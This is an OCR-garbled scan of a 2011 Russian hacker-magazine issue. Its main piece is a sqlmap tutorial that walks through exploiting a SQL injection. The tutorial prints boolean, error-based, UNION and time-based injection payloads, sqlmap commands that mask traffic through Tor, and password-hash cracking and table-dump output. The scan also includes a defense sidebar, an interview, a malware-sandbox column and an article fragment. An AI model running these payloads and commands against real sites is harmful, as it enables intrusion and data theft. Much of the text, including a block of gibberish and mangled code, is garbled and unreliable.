ис ке о ши бок DBM S, в кото р ы х содержа л ас ь б ы за р а н ее и з в ест н а я

и нъе циро ванн ая посл едо в ательн ость сим в о л о в и где -то « р ядо м >>

вывод на интересующий нас п одза пр ос. Эт а тех ни ка работаеттоль­

ко то гда, ко гда в еб -пр иложе н ие п о каким-то прич и нам !ч а ще все го

в ц еля х отладк и] р аск р ы ва ет о ши бк и DBM S. Stacked queгiesSQLinjection. С ка н е р проверяет, п одде ржи вает ли

веб-приложен ие пос л едовательны е за п росы , и , если о н и в ыпол няют­

с я , доба вля ет в уязвимы й п а раметр НТТР-запроса то ч кус за п я той l;l и

ХАКЕР 10/153/2011

Page 28: Хакер №10 (октябрь 2011)

Sqlmap, или SQL-инъекции-это просто

,·itJcpiщisЯr. "" J'IW''irrlf. <n.todJ;) L~~raJ.d~ mша.~ p.:.miiOf crJr, CJ t~rifus ..,."...., U\1 \'~ca."imistil. \o'CI'J:'ItМIJI:OitlltV>do likp)ltlhll', 'o'iltc ltllttdUШf~\'CblWb 1111 «ttubltt~mюtS iDdJ:euшniЫ. dui ,м, ,-;uс Fr~IЬ J.llll~ . ~iliid:stnнll •trr.IS!JIA p;llctA:J.qUC Cl ctlltn b c.!JI, ifl М1Jftt lti!-f VC.I~ (kl).y odfo. iрющ tldr6r:'i11~, Ep:r C('fl( nu~ta. t:d p~W~:IUfa.'fll pltf«tlus ю:lcПS4jucd6;\'(flibuluшlfii1t~ urm pccttit« cu, vcl s-;cL'f • ма.-t ('(WWS(Wrucr quiJ.. tt~s Шlam:orp:t. rc:dr: ttutla qiOJ d:t).'f.: d , IИ!tooUA.\ApwttSun».pc(l."fil~ f~ ioriSUJ.. \11111:Vtl o:eod.;, I>I."'ICC \"<'ЯiЬutшiL •яю: tJI'Wf C'f\~ i."' lif>eN (мn.-newш. ilil~ :ю:iis ooir~~~: с:rм I'U'):

&~ftЬ. Elir scd~.Ю.:iO!-qU, Ul rrJC!J\'111 ~ lo:W• l ~iiUI.

co.tuЬit а.tщ_ тэut ii: .ad.:ntы f6W"'f"'c FriQsiJb Uipk-tt, Sй3il:6 dr:!auttl n»pt p:tl~cc.t etum Ьс~. Ш ~ut Ri!l \ CI ~di"odto, JpJaНt~ ,.j!p~S~:iltf.. E~r сrм m.J~'-91:4 pМtUo:nr pЬJвcllus юdctiJqucdii:. ,~SfiЬuluш tf61~ urм ~iiOI CU, ...-cl Э~:ckf~ Rm:l o.Y$:~1tlct quit ltllМif. ullиm:Otp:f rcd: IIUII II ~Q 6,:\bJIC id,ttbl rwUa.g;puws ut'Dj, pelkftr~ rM inrlsuf... \il~vcl o.-c(l(li.э. Doo:c \'<!fiЬuluru. cp.."iUCS '-."4101 ffl\5 ~О liЬcro (,.':f'm:tiNIJI, tftiф'f S~XiiJ. \ ilt.: спв ~ ff~ilb . Eiil Ut.16.we so..--losqu. ur рпсэ:яr ~ lc:tiUS lac•t..

lf ~-- !fв•-Ьfis"" •• J Jolhcr • :1 1= ~=- ~е 11

ln -.:1 soda~s utoШt. Mt fl4)xt~ qui s.чuc п StXiesqu fial(, ooel шd.».v jtf:lt*ltt я~ dutJpritni~pe.n.-.,,~ si a. к:mщuе N~uc»:d ~t JN IJ'$8C:UIIc'"'" esa СUм:б. \\'l~f Ш~ ~8.. j lll(:( .аб] <1!~ COIIU Ь1111 i& Wtll а М!: М 1МiЮ d~щ. Du lfPb ducitrwd:~ .мr:~cr~~~ vcJA ('"ibus 11011, vlvc:m lu~ rьксо con~a116. rttJIII \-iVC:Ш, pt:l).•111~ lit l $\."tll tli:Wtia. \'~С ~f~COttVIJ iб, '\'f\~fttuf. ctOI IUtpti ckt1 Ni* lro

lh .m:t s.dtks.JOOIIiJ.. Jil wpitfl quisqutU!ЮeiOSoqV IIIYI:. \Cio:cd:ilY pi'CSiffll rtiJI:5I:.'13 ckttirciflliJ.. pcl}."tt~ Jil, S«nOCq.:tt . NC'qUc~d ~. ~ piWnШIIciMsi:cя cuмg. '\'Q~S. nldQS<pi:;. а111~ t.1i$l ~ct (ionubla ii~ta**..:a ~di.J11L Dui lipb duc.ilшs ~~tl' li~ vct'l ftto:ib11S 0011, \ ivcш lucw l'h~R~n coavaJI.is. trJitl \lvem. pclkot~ vcl SCIIt cl« w.ta. "'~t IМ:f(ЬQcou~ aJJIS. \ 'f''lfiWS- cros hl rp15 ati t: ~W~t: IQ)

Jn мn:t todi):swoUit. si1 W{li.--.. ~i~qwcac~u ld:', vcl l'll:tOO.kwpn(::Sillffif ''~ <kiJS:prittlif.. peJ.k111CiQ'Itffi,U:o'tЬ."qUC, N~UC~~.so.1~CfJfiCtk6 J«t CIIМIS. \\)q:t'-Js t•as ~в. anteeл6J "~~ Coflubla in \11\а aco:JCL М»d~111. Dui l~b ducM" io\:~ct lt•••ciA ftp;iЬtJs noa, vivcm lu~ Phan:ucottvt11 118.. mш ~ivem. pclkllltsqQ:' vcl $1Ntl eiA \l'lta. \ ' r.)t tй..-IO!wn coцvtlllls. "'f'~lltUJ ctOJ. tufpii ~~ N~ Iю

Boolean-based Ыind SQL injection

следом внедряемый SQL-зaпpoc. Этот при ем в основном используется

для внедрения SQL-команд, отличных oтSELECT, напримердля мани­

пуляцииданными [с помощью INSERT или OELETEI . Примечательно,

чтоте хника потенциально можетпривести к возможности чтения/

записи из файловой системы, а также выполнению кома нд в ОС .

Правда , взависимостиотиспользуемойвкачествебэк-эндасистемы

управления базами данны х, а также пользовательских привилегий.

Boolean-based Ыind SQL injection. Реализация так называемой

слепой инъекции: данные из БД в «ч истом » виде уязвимым веб­

приложени ем нигде не возвращаются. Прием та кже называется

дедуктивным. Sq lmардобавляетвуязвимый парам етр НТТР ­

запроса синтаксически правильно составленное выражение,

содержащее подзапрос SELECT !или любую другую команду для

п олучения выборки из базы данны х !. Для каждого полученн о го

НТТР-ответа выполня етс я сравне н ие headers/body страницы

с ответом на изначальный запрос-таким образом, утилита

можетсимволзасимволомопределитьвыводвнедренного

SQL- выражения. В качестве альте рнативы пользователь может

предоставить строку или регулярное выражение для определения

«tгuе >>-страниц !отсюда и название атаки!. Алгоритм би нарного

пои ска , реализованный в sqlmap для выполнения этой техники,

способен извлечь каждый символ вывода максимум семью НТТР­

запросами. В том случае, когда вывод состои т не только из обычных

символов, сканер п одстраивает алгоритм для работы с более

широким диапазоном символов !например для uпicode 'al.

Time-based Ыind SQL injection . Полностью слепая инъекция. Точно

так же как и в предыдущем случае, сканер << играет >> с уязвимым

параметром . Но в этом случае добавляет подзапрос, который при­

водит к паузе работы OBMS на определенное количество секунд

!например, с помощью командSLЕЕР(J или BENCHMARKIII. Исполь­

зуя эту особенность, сканер может посимвольно извлечьданные из

БД, сравнивая время ответа на оригинальный запрос и на запрос с

SQL-ИНЪЕКЦИЯ: ЧТО ЭТО?

SQ L- инъекция- это атака, направленная на веб-приложение, в

ходе которой конструируется SQ L-выражение из пользовательского

ввода п утем простой конкантенации !например, $query;"SELECT * FROM users WHERE id;" .$_REQUEST[ "id" ]l . В случае успеха атакующий

может изменитьлогику выполнения SQL-зaпpoca так, как это ему

нужно . Чаще всего он выполняет простой fingerprinting СУБД, а также

извлекаеттаблицы с наиболее <<интерес ными >> именами !например

<< users >> l. После этого, в зависимости от nривилегий , с которыми за­

nущено уязвимое приложение, он можетобратиться к защищенным

частям бэк - э нда веб- прил ожения !например, прочитатьфайлы на

стороне хостаиливыполнитьпроизвольныекомандыl.

ХАКЕР 10 / 153/2011

внедренным кодом. Здесь также используется алгоритм двоичного

поиска. Кроме того, nрименяетс я специальный методдля вери­

фикации данных, чтобы уменьшить вероятность не правиль ного

извлечения символа из-за нестабильного соединения.

Несмотрянаточтосканерумеетавтоматическиэксплуатировать

найденные уязвимости, нужно детально представпять себе каждую

из используемы х техник. Если тема SQL-инъекций тебе пока знакома

только на пальца х, рекомендую полистать архив][ или прочитать ма­

нуал Дмитрия Евтеева <<S QL lnjection: От А до Я >> I ЬJt . lvlpBSNVAJ. Важно

также пони мать, что для разны х OBMS реализации атаки зачастую

сильно отличаются. Все эти случаи умеет обрабатывать sqlmap и на

данный момент поддерживает MySQL, Oracle, PostgreSQL, Microsoft

SQ L Server, MicrosoftAccess, SQLite, FireЬiгd, Syba se и SAP МахОВ .

ФИШКИ SQLMAP Движокдля определения SQ L-уязвимостей - пускай и самая важная ,

но все-таки не единственная часть функцианала sqlmap. И прежде чем

по казать работу ска нера в действии, не могу хотя бы вкратце, но не

рассказать о некоторых его фишках. Итак, в sqlmap реализовано:

Извлечение имен пользователей , хеш ей их па ролей , а также при­

вилегий и полей.

Автоматическое распознавание типа ис пол ьзуемо го хеш а и воз­

можность взлома его с помощью брутфорса п о словарю .

Получение списка баз данны х, таблиц и столбцов.

Возможность сделать полный или частичный дамп базы данных.

Продвинутый механизм поиска баз, таблиц или даже столб цов !по

в сем базам сразу!, что может быть полезно для определения та­

блиц с <<интересными>> данными вроде имен пользователей luseгsl

или паралей lpassl.

Загрузка или , наоборот, закачка произвольны х файлов на сервер,

если уязвимое веб-приложение использует MySQL, MySQL,

Po stгeSQL или Microsoft SQL Server.

Выполнение произвольных команд и получение шелла, если на хаете

и спользуется одна из СУБД, перечисленных в предыдущем пункте.

Поддержка прям о го подключения к базе данных ! без явного ис­

пользования SQ L-уязвимостиl с использованием полученных в

ходе атаки имени и па рол я пользователя для доступа к ОМ BS, а

также IР-адреса, п орт а и имени базы данных .

Установка надежного ТСР- соединения !так называемого out-of­

bandl между машин ой пентестера и хостом, на котором запущен се рвер баз данных. В качестве обертки для этого канала может

стать интерактивная командная строка lшеллl , сессия Меtегргеtег

или доступ к удаленному рабочему столу через VNС-подключение .

Повышение привилегий дляпроцессабазы данных через команду

getsystem Metasploit'a, которая, помимо прочих , реализуетизвест­

нуютехнику kitrapOd IMS1 0-0151.

Как один из авторов этой утилиты могу сказать: это действительно

хороший ин ст румент, созданный хакерами для хакеров . И он работает!

029

Page 29: Хакер №10 (октябрь 2011)

PCZONE

ПРИСТУПАЕМ К ПРАКТИКЕ Убедиться в этом тебе помогут несколько мои х сценариев. Это наибо­

л ее типичныеситуа ции,кото рыеиспользуютосн о вныевозможности

sqlmap. К сло в у, ты тоже можешь с разу проверить весь функционал

сканера- наприм е р, на специально созданном тренировочном при­

ложении от OWASP lwww.owasp . oгg l . в котором намеренно воссозданы

многие из опасных ошибок программистов . Тут надо сказат ь , что

sqlmap написан на Pythoп'e, а значит, ты сможешь за п устить е го под

любой ОС . Единстве нноетребовани е- это уста новленный в системе

интерпр етатор пайтона. В качестве объекта для теста на проникно­

вение я буду использовать виртуальную машину, на которой будет

крутиться стандартный стек LAMP [Liпu x/Apa che/MySQL/PHPI вместе с несколькими уяз вимыми веб- приложениями.

СЦЕНАРИЙ N21 Условимся, что мы хотим проэксплуатировать уязвимость , которая была

найдена в GЕТ-параметре «id >> веб-страницы, расположенной по адресу

http: //www.site.com/vuln.php?id=1lдля указания URL будет ключ -ul. Чтобы сни зить подозрительную активность, мы будем маски роваться п од

обычный браузер [ключ --гandom-ageпtl, а для подключения использо­

ватьзащищен ный канал ТОR-сети 1 --toгl. Итак, запускаем sqlmap:

$~python sqlmap_,py -u "http: //www.site .comLvuln.php?id-=l::_ - -random-agent --tor sqlmap/1.e-dev {r4365} - automatic SQL injection

апd database takeover tool

Сканеропределитнесколькоточекдлявыполненияинъекцийв

17 HTTPISJ-зa пp ocax. Обрати внимание, чтодля каждой из нихуказы­вается тип , а также пэйлоад.

Place : GЕТ Parameter: id _Iype: bQolean-based Ьliпd _

Title: ~NQ.Qp_Qle_a n : bas~_Q.Jind- WHERE QC.!:JI\.VIN.§ __ ;;l_~,ц~----­

Payload : id=1 AND 1826=1826

Туре : error-based Title : MySQL >= 5.е AND error-based - WHERE or HAVING clause ~yload: id=1 AНJL{SELECT 8232 FROM(SELECT COUNT(~},CON(.AT{

CHAR(58 , 98,11Q"l.Ш,58}.,_{SE LECT (CASE WHEN (8532=8532) THEN 1 ELSE е END}},_CHI\R{58, 98,121, 1e2,~8}.,FLOQI!(RAND(ill * 2))x FROM

~ The page cannot Ье dis.. . х

• е 1@ www.site.comfvuln.asp?id=1'%20AND%2044ббj iQ}

The page cannot Ье displayed

Th~e is а proЬiem with the p;sge you are trying to recкh and it cannot Ье dlsplayed.

Please try the following :

• Olck the EШ.t1!l button, or try ~ain later. • Open the 172 .16. 162. \32 home page, and then look for links tt

the informatfon you want.

НПР 500. 100 - Internal Server Error - ASP error Internet lnforrмtion SeMces

Technical Information (for support personnel)

OLE DB Provider for ООВС Drivers (Ох80040Е07) [Microsolt)[ODВC SQL Server Drlver)[SQL Server)Conversion falled wh~n converting the nvarchar value ':Microsoft SQL Server 2005- 9.00.1399.06 (lntel Х8б) OCt 14 2005 00 :33 :37 Copyrlght (с) 1988-2005 Microsoft Corporotion Express Editlon on Windows NT S. l (Вuild 2600: Service Pack 2) :' to data type 1

Error-based SOL injection

030

ТИПИЧНАЯ ОШИБКА

Той ошибкой программистов, из-за которой становится возможной

SQL-aтaкa, чаще все го является прямая конкантенация нефилыруе­

мых или неприводимых к нужномутипу значений параметров в стро­

ках, которые соде ржатSQL-выраже ния. Например, в РНР н а иболее

частым примерам небрежности является использование кода вроде

$query="SELECТ name, description, comment FROM catalogs WHERE catid=" .$_GET( "catid" ]. Как ты видишь, GET параметр "ca tid " напря­

мую извлекается и з зап ро с а и за просто может соде ржать з л о вредный

SQ L запрос . Таким образом, взломщник может просто привести URL

к виду вроде «http://www.site.com/ vuln. php?page=front&catid=-1 UNION ALL SELECТ database(), current_user(),version()&uid=e», для того чтобы получить информацию о базе данных, которая отобразится

прямов содержимомстраницы .

INFORMAТION_SCHEMA . CHARACТER SETS GROUP ВУ x).Q)

_I}'Jte: UNION.._guery Title : MySQL UNION query {NULL) - 3 columns Payload : id=1 UNION All SELECT NULL, NULL, CONCAT{CHAR{58, 98, 116

, 12е, 58), IFNULL{CAST{CHAR{74, 76, 73,112,111,113 , 1е3, 118, 8е, 84) AS СН AR), CHAR{32}} ,CHAR{58, 98, 121, 1е2, 58))

_Iy_pe: ANDLOR time- based Ыind Title : MySQL2_S.e .11 AND time-based b_lind

Payload : id=1 AND SLEEP{1e)

Помимо этого , ска нер выполнит ра спознава ни е базы данных, а так­

же других тех нологий , и спользованны хвеб- прил оже нием:

(е2 : е1 :45] (INE.Q]_the back-end DBMS is MySQL __

web application technology : РНР 5.2.6, Apache 2.2 .9

back-end DBMS : MySQL 5.е

В конце концов п о л ученны е данные будут за писаны в определен­

ный файл:

(е2 : е1 :45] [INFO] Fetched data logged to text files under '/ opt/ sqlmap/output /www.site .com'

СЦЕНАРИЙ N2 2 Теп е рь следующи й при мер. Предположим, что мы хотим устроить

более детальный fiпgeгpгiпtiпg 1-fl и полу ч итьтекстовый баннер

1--Ьаппегl систе мы управления базой данны х, включая ее офи ци­

альное название, номер версии, а также текущего пользователя

1--cuггeпt-useгl. Кроме того, нас будут интересовать сохраненные па ­

роли 1--passwoгds l вме сте с именами таблиц 1 --taЫesi , но не включая

системные,[--ехсlu d е-sуsdЬsl-для всех содержа щи хся в СУБД баз

данных . Н ет проблем , за пускаем скане р :

$ python sq l i!!_ap.py -u "l:!.:t1p: //www.site.com/vul.o_.php?id=1" --random-agent - -tor -f --banner --current- user --passwords

--taЫes --exclude -sysdbs

Оче нь скоро мы получим все данные об и спользуем ы х технология х,

которые за прашивали:

(е2:е8:27] (INFO] fetchiпg baпner [е2:е8:27] (INFO] actively fingerprinting MySQL (е2:е8:27] (INFO] e xecutiпg MySQL comment injection fingerprint

web apglicatioo~technolog}': РНР 5.2.6. Apв.a"'chwe'--<c2 "...2'-'· "-9 _____ _

ХАКЕР 10 / 153/2011

Page 30: Хакер №10 (октябрь 2011)

1:/.g_ck:end J)f1.MS ~~~:tive._fi_Qggr_l)rin:t: 11y~QL __ >= 5.],~12_ашL<. 5 __ ,.5.0 ___ _

comment injection fingerl)rint: My_S_Q.,_L~Sc...,._1.,_,4".1~-------____ I;Ja nne_r__l)a rsingJinggд1rin:t ~C1y_S_Ql.2,1,4;1 _______________ _

banner: '5.1.41-3-Ьро50+1'

После- имя текущего пользователя:

[02 :08:28] [INFO] fetching-'c"'u"-rrue._,_n,_"t '-'u.._.s".eLr _________ _

current user_: 'root@localh,_"o.;csut~·---

Далее получаем хеш и всех пользовательских па ролей и выполня­

ем брутфорс-атаку по словарю:

[02:08:28]_[Ii'<FO] fetching database users 12assword hashes gq_y.Q!J_w_<~nt_tq щ~rform_<UJ:lctionary:_based att<~.e_lu!g<!iл.:;:t _retrj.~~

password hashesl_[Y/n/q] У [02 :08 :30] [INFO] using h_<~sh method 'mysql_passwd ' what dictionary do you want to use? [02 :08:32] [INFO] u__:;;ing_deff)ul:!:.Jjictionary [ 02 :08:32] [INFO] loading dictionary_fur_".o""m _________ _ __'/_qp_:ti.:;glmapД_>G;L~ord:Ц_:;_t . txt_' _______________________ _

QQ_y_qu want to use common_pass_word s_uffixes? (slow!) [y/_N] _N __

[02 :08 :33] [INFO] starting dictionary-based cracking (mysql_passwd) [02 :08 :35] [INFO] cracked password 'testpass ' for user ' root'

database management system users password hashes: [ * ] deЬian-syJ;-m_~int [1]_;_ __ _

__Qas sword hash: *6B2C58EAB091C17760A223B088B601604F898847 [! ]_root [1];

password hash: *00E247AC5F9AF26AE0194B41E1E7690EE1429A29 clear-text password: testpass

Оп а! Для гооt ' а мы быстро подобрали параль !для примера он был

очень простой) . Пришло время сдампить интересующие на с данные:

[02:08:35] [INFO] fetchin~;g-"d,.,at.,.a"'b"'as,.,e'-'n"'a"'me"-'s,_ ____ _ [02:08:35] [INFO] fetching taЫes for databases:

information_schema, mysql, owasp10, testdb [02:08:35] [INFO] skipping system databases: ioforma:tion_scheП@,_mysqL ______ _

Database: owasp10, ___________________ _

[3 taЫes]

КАК ЗАЩИТИТЬСЯ?

Наиболее надежным способом предотвращения 5QL-инъекций

является использование параметризированных 5QL-параметров. К

примеру, в случае с РНР это возможно с помощью па кета PEAR's 08

l peaг. php . net/package/08 ), предлагающего интерфейс для выполнения абсолютно безопасных 5QL-выражений. Обращение к БД происходит

следующим образом : $р = $db->prepare( "SELECT * FROM users WHERE

id = ?" ); $db->execute($p, array($_GET[ 'id ' ])).Основная идея за­ключается в том, что если позиция параметров явно задана, то можно

абсолютно безопасно передавать5QL-заnросы базе данных, исключая

возможностьдля параметров самим стать5QL-выражениями lв том

числе зловредными). Стоит заметить, чтодругие механизмы, такие как

использование принудительного приведениятипов !например, с по­

мощью функции intvaiiJ) в связке с экранированием строк такими функ­

циями, как mysql_гeal_escape_stгingl) или addslashesl), не являются абсолютно безопасными. Проблема в том, что существуютнекоторые

варианты для их обхода, а следовательно , к их использованию необхо­

димоподходитьсмаксимальнымвниманием.

ХАКЕР 10 / 153/2011

Sqlmap, или SQL-инъекции-это просто

+- ------------ -+

Datab~testd~ [1 tаЫе], ___________________ _

+-- ------.: .--- -+. _____________________ _ l_users ___ l

+-------------+

[02 :08 :,15] [INFO] Fetched dat~gged to text files under '/optL_

sglmaJ)/outl)utL~WлWлW~. s~i~t~eи.c~o""m~· ---------------

Готово!

СЦЕНАРИЙ N2 З Теперь, обнаружив в базе данных tеstdЬ-таблицу 1-О testdb) с интерес­ным именем <<users>> 1-Т useгs), мы, естественно, заходим заполучить

ее содержимое себе 1--dump). Но чтобы по казать еще одну интересную

опцию, не будем копировать все данные просто в файле, а реплициру­

ем содержимое таблиц в основанную на файлах базу данных 5Qlite на локальной машине 1--гeplicate).

$ python sqlmap.py -u "http://www.site.com/vuln.phR?id=L_ __ --random-agent --tor --dum12 -D tes_'I;QQ_-Т users..=reR_.,_l,.,ic.,_,a..,t,_,e,___ __

Сканерунесоставиттрудаопределитьназваниястолбцовдля

таблицы useгs и вытащить из нее все записи:

[02 :11:26] [INFO] fetching columns for tаЫе 'users' on database

' testdb' [ 02 :11:26 ]_[INFO] fetching entries for tаЫе 'users' __:_tg~j;Q!L ____________________________ _

D_<~tabase: testdb _______ _

TaЫe:__]J__:;erL

[4 entries] +--- -+-- ---- --+- ---------- -+

l__jJL_I name 1 surname

±.::.:..::.:.+- -- -.:.: .:::+--- --=-=-=-= ±-----------·-·-----------·····---· .1_2_ 1 f!ufty_ l bunny

1 3 1 _wu 1 ming 1 1 1 luther 1 Ыissett

1 4 1 NULL 1 nameisnulll ±.::_:- -+-- ---- --+:::· _:_--:.:-:.:·:::· _:_--:.:·:.:·:::-_:_-+!:.__ ______________ _

_ [e2 :11:27 ]_[INFO] ТаЫе 'testdb.users' dum11ed to s_glite3 file

Таким образом мы получим дамп базы данных в файле testdb. sqliteЗ в формате 5Qlite. Фишка в том, что в при таком раскладе мы не

только можем посмотреть данные, но еще и выполнить к ней любые

запросы, заюзав возможности 5QLite !например, с помощью про­граммы 5Qlite Manageг).

РЕЗЮМЕ В прошлом номере в рубрике Pгoof-of-concept я рассказывал тебе

о 0555, небольшом Руthоn-скрипте, который умеетобнаруживать

5QL-уязвимости. Идея заключалась в том, чтобы создать эффектив­

ный сканер, который будет хорошо работать, но уложиться при этом

в 100 строчек кода. Это лишний раз доказывает, что обнаружение

5QL-уязвимостей- это лишь малая часть дела. Их эксплуатация

-вопрос куда более сложный. Но его готов взять на разрешение

- sqlmap, в котором мы объединили многолетний опыт огромного количества пентестеров, чтобы сканер мог эффективно не только

находить 5QL-инъекции, но и извлекать из этого максимальную

выгоду. :В:

031

Page 31: Хакер №10 (октябрь 2011)

PCZONE

Proof-of-Concept ЗАПУСТИТЬ LINUX В&РАУЭЕРЕ

То, что мы увидели одним июльским вечером в редакции, впе­

чатлило нас до глубины души. Зайдя на сайт bellaгd.oгg/jslinux, мы увидели, как прямо внутри браузера стартует Linux-cиcтeмa,

с которой можно работать так, как если бы она была запуще-

на под виртуальной машиной. Сперва нам показалось, что это

просто эмуляторлинуксовой консоли и некоторых никсовых

команд. Но очень скоро стало ясно, что это полноценный эмуля­

тор РС, который полностью написан на JavaScгipt и выполняется

прямо в браузере! Можнодаже написать на Си приложение и от­

компилировать его с помощью включенного по умолчанию ком­

пилятора TinyCC. Это просто чума! Какому крутышуудалось это реализовать? Вопросы отпадаютсами собой, когда посмотришь

на копирайты. JavaScгipt РС Emulatoг [а именно так называется проект] написал Фабрицио Беллард-создатель эмулятора QEMU. Мы решили узнать у него, как ему в голову могла прийти

такая безбашенная идея . РоС получился вне всяких похвал.

JavaScript РС Emulator Быстрее всего работает в Firefox

032

ЗАЧЕМ ВООБЩЕ ТЫ ВСЁ ЭТО ЗАТЕЯЛ? РАДИ ЧЕГО? Я хотел сделать своего рода Uпiх-подобную

систему в браузе ре. Я знаю о существовании

проекта JS/U IX l www.masswe гk.at/ j s u ix l, но ме н я

грела идея о возможности за пускать в браузе ре

реальные бина рни ки Uпiх-команд . Изначально

я лишь хотел реализовать эмулятор пользова­

тельского окружения и полностью написать на

JavaScript ядро системы. Однако позже я осо­

з н а л , что с п омощью сов р еме нны х JS-движков

пр още эмулировать целый компьютер и уже на

нем запускать полноценный Liпux.

ЧТО В ЭТОМ ОСОБЕННОГО? Есть немало эмуляторов компьютера, и я в том

числе стою у истоков одного из них IQEMUI.

JavaScript РС Emulator интересен тем , что рабо­

тает в большинств е б раузеров и вообще н е тре­

бует установки. Конеч н о, он заметно медленнее,

но все равн о может ис п ользоваться, к примеру, в

образовательных целях. П оскольку код написан

на чистом JavaScгipt'e, он может п ос луж ить н е­

плохим бе нчмарком для замера производитель ­

но сти JS-движков. Могу сказать, что сейчас пр о ­

ект быстрее стартует на Jaeger Мопkеу, который

используется в Fiгefox 4, чем в V81Chromel. Я пока

не могу объяс нить, в ч ем причин а, п осколь ку

ус пел пока изучить код только Jaegeг Мопkеу

IФаб рицио- настоящий гик-монстр . - П ри м.

редакции! .

КАКИЕ С ЭТИМ БЫЛИ СЛОЖНОСТИ? Самая навороченная часть проекта- зто,

конечно, эмулятор процессара х86. Пр оект зму­

лируе т е ще ряд устрой ств !последовательный

п орт, ко нтр олле р пр ерыван ий, эмуля тор те р­

мина л а!, но с процом возни было больше всего .

Тут надо п они мать: было бы проще змулиро­

вать CPU с RISС-архитектурой !какой- ни будь MIPS или ARM I, но куда круче бы л о бы иметь

возможность за п ускать вездесущий х86 код .

Ведь в конечном счете зто позволит за п ускать и

дру ги е ОС, не только Liпu x . Еще одн а с л ожность

состояла в том, чтобы добиться прилично й

пр оизводительности эмулятора в браузе ре

!сейчас проект работает в Fire fox и Chrome l .

Я об наружил, что некоторые ко н струк ции

выполняются медл ен н ее, ч ем дру гие в тех же

самых браузерах . П озтому пришлось изрядно

адаптировать код . ~

ХАКЕР 10/153/2011

Page 32: Хакер №10 (октябрь 2011)

PCZONE Степан Ильин ltwitter.com/stepah)

КОЛОНКАРЕДАКТОРА

Про анализ малвари

а в но хотел найти простой и интеллектуальный инструмент

для анализа мал вари. И кажется, нашел. В одном из давниш-д них номеров я уже рассказывал про онлайн-сервисы, которые

предлагают запустить подозрительный бинарник в песочнице и

проанализироватьегодействиявсистеме. Детальностыакихотчетов

поражает: можно посмотреть , какие ключи были созданы в реестре,

к каким файлам происходили обращения, какие nерехваты функций выполнялисьитакдалее.Некоторыеизтакихсервисовавтоматиче­

скиделаютскриншотприложенияипредлагаютполныйдампсетевой

актив но сти исследуемого приложения в РСАР-формате. Всему этому

хозяйству не хватаеттолько одного- некого интеллектуального

механизма, который мог бы не только выкладывать сухие факты , но

еще и интерпретировать их. То, чего я такдавно хотел, я обнаружил

случайно в сервисе швейцарского исследователя Стефана Бюльмана.

Его разработка -Joe Sandbox Web (www.joesec uгity. oгg l-тaк же,

как и многие другие сервисы-песочницы, возвращает детальнейший

отчета поведении файла в системе, но с важным отличием. За счет

интеллектуального механизма сканер понятным языком говорит о той

активностибинарника,котораявызываетnодозре ния. «Инжектирует

РЕ - файл в чужой процесс >>, « Перехватывает вызов winsосkеt-функций

для перехвата трафика>>, « Открывает порт и ждет входящи х подклю­

ч е ний >>, «Устанавливает хуки для функций, выводящие список файлов

и директориЙ >> - в отчет попадают конкретные и ясные формули­

ровки , понятные человеку, который по роду деятельности обычно не

зан имается анализом мал вари. Все события ранжируются по степени

оп асности . Я nеречислил некоторые из особо подозрительны х. Н о есть

и другие маркеры, на которые при анализе стоит обратить внимание,

нокоторыенеобязательносвидетельствуютозловредномхарактере

приложения . Н а пример: «Отправляет данные на веб - се рвер >>, «Точка

о er..t. • mutex to .-gnloo lnfected hoot8

о Pwformo DNS lookupo

о Contolnolongol-• (< 2mln)

о Р8 fllo eont81м иdloll8 wlth ........e.ndord­о lntrypolnt 11• oul81dellt8nd..t иdlом

Разные цвета-разные степени опасности событий

ХАКЕР 10/153/2011

входа в приложения лежит вне стандартных секций >> , «За пра шивает

с писок запущенных процессов >>, << Содержит долгие sleep'ы (больше

2 минут! >>, <<Создает файлы драйверо в >> и так далее . Всего в базе Joe Sandbox Web сейчас 160 сигнатурдля а нализа поведения бинарника. Любую из них можно nодстроить под свои нужды. Ничего н е стоит

наnисать и свои собств е нны е си гнатуры, воспользовавшись простым

Руthоn-интерфейсом для обработки данных о nоведении программы.

Приведу для примера ча сть сигнатуры для анализа Zeus'a, с помощью которо го мы обучаем сканер реагировать на типичны е для этого троя

создаваемые файлы :

zeusfiles = (..".k:_'Llwindowsl.l~stem32 'Llntos. ехе" , \. _____ _

[ . .. nропушено ... ] "c:\~windows\\system32\ \lowsec\\user.ds" ]

def sig!]@tch(data):

if data(_:_t.un.C.] == "fileCreated" : __ i f ctataj_:'_~J;atus "JJjлg(~ц!";..c_~s_::J . .J-=._:J .. ; _____ _ __ ...:#"-'-'Прове):1яем,_п_g_падают ли_со;1данные файлы в блек-лист

for zeusfile in zeusfiles: if data[ "path" ] .lower() == zeusfile :

zeusdetected = True

_ elif data[ "func" ] == "httR~"~' -------------------­if~eusdetected:

#Извлекаем IР-адрес С&С-сервера

if re.match( r "POST.*gate\.php" , data[ "request" ] , re.I): zeusservers.append(data( "dstip" ])

Вообще подобная ра с ш иряемость дает Joe Sandbox Web сто очков вnеред п ереддругими конкурентами . Еще одной киллер-фичей

является возможно сть исnользования Autolt-cкpиnтoв, чтобы оnре­

делить дей ствия, которые должны nрои сходить во время анализа

малвар и. То ест ь можно четко автоматизировать любое взаимодей­

ствие с системой и nриложениями (браузингопределенных страниц,

заполнение форм , установку приложе ния и так далее! . Тут надо

nони мать: многие из действий малварь выnолняеттолько в случае

во з никнов е ния определенных событий . К nримеру, банковский т рой

может собирать данные форм только при nо сещении пользователем

определенны х сайтов.Сервиспозволяетобработатьподобнуюси­

туацию . С nомощью nростого скрипта мы можем получить не nросто

отчетотом,что прои сходитв с истемепослезапуска исследуемого

приложения, но и полный анализ того, что прои сходит nри возникно­

вении обозначенных событий. Сценарии позв оляют е ще и у nр авлять

анализирующим движком : к nримеру, создавать nри необходимости

скр иншот экрана или включ ать в нужном месте снифер для перехва­

та трафика. И зто лишь малая часть возможностей Joe Sandbox Web. Правда , в бесплатной версии сервиса они доступны не все. А для

получения даже бес платного эккаунта придется написать пи сьмо его

создателю. К счастью, отвечает он быстро. Х

озз

Page 33: Хакер №10 (октябрь 2011)

PCZONE ЭдуардГузь

30-сканеR за 30

КАКСОЗДАТЬ 3D-МОДЕЛЬ ЛЮБОГО ПРЕДМЕТА ПОДРУЧНЫМИ СРЕДСТВАМИ

Профессиональный 3D-сканер,

с помощью которого можно

оцифровать реальный объект,

получив его компьютерную

модель, стоит десятки тысяч

долларов . Мы же сможем про­

вернуть то же самое с помощью

специальной программы, лазер­

ной указки и веб-камеры. Всего

долларов за тридцать .

031.

На сайте раз работ·

чикa www.david­laserscanner. com есть прекрасное руководство на рус­

ском языке . nрочти его обязательно!

